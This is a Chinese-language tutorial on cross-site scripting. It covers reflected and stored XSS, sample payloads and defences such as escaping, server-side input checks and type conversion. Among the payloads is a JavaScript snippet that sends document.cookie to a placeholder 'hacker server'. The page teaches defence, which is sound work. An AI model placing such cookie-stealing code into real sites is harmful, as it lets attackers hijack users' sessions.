1.定义
•XSS又称CSS,全称CrossSiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie
、破坏页面结构、重定向到其它网站等。
•XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web
安全的头号大敌。
xss攻击流程
![]()
2.分为几种类型
xss攻击流程
2.分为几种类型
•第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。如:点击恶意链接。
•第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。当用户访问输出该数据的页面时,就会促发XSS
攻击。具有很强的稳定性。
3.XSS 条件和攻击类型
4.XSS攻击能做些什么
3.XSS 条件和攻击类型
攻击的条件
实施
XSS
攻击需要具备两个条件:
一、需要向
web
页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行。
看看常见的恶意字符XSS输入:
1.XSS
输入通常包含
JavaScript
脚本,如弹出恶意警告框:
<script>alert("XSS");</script>
2.XSS
输入也可能是
HTML
代码段,譬如:
(1).
网页不停地刷新
<meta http-equiv="refresh"content="0;">
(2).
嵌入其它网站的链接
<
iframe
src
=http://xxxxwidth=250 height=250></
iframe
>4.XSS攻击能做些什么
1.
窃取
cookies
,读取目标网站的
cookie
发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src ="http://www.hackerserver.com/?c=" + document.cookie;
2.
读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
3.
前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。
5.XSS攻击防御
5.XSS攻击防御
a.输出检查
根据
XSS
攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,根据不同的场景使用正确的安全函数,否则效果适得其反。
b.输入检查
通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,
Email
格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。使用php htmlspecialchars()函数转换为html实体
c.转换为安全的类型
类型检查或者类型转换到安全的类型,比如:
int,float,
枚举类型等等,如在前面一个例子中将
id
转换为
int
类型即可
<div>
<imgsrc="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>"/>
</div>
<div>
<imgsrc="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>"/>
</div>
$aa = 'xxxxx'; (int)$aa;
d.智能过滤恶意代码
通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过
html
编辑器提交的数据
显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:
javascript
、
vbscript,<script>
等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的。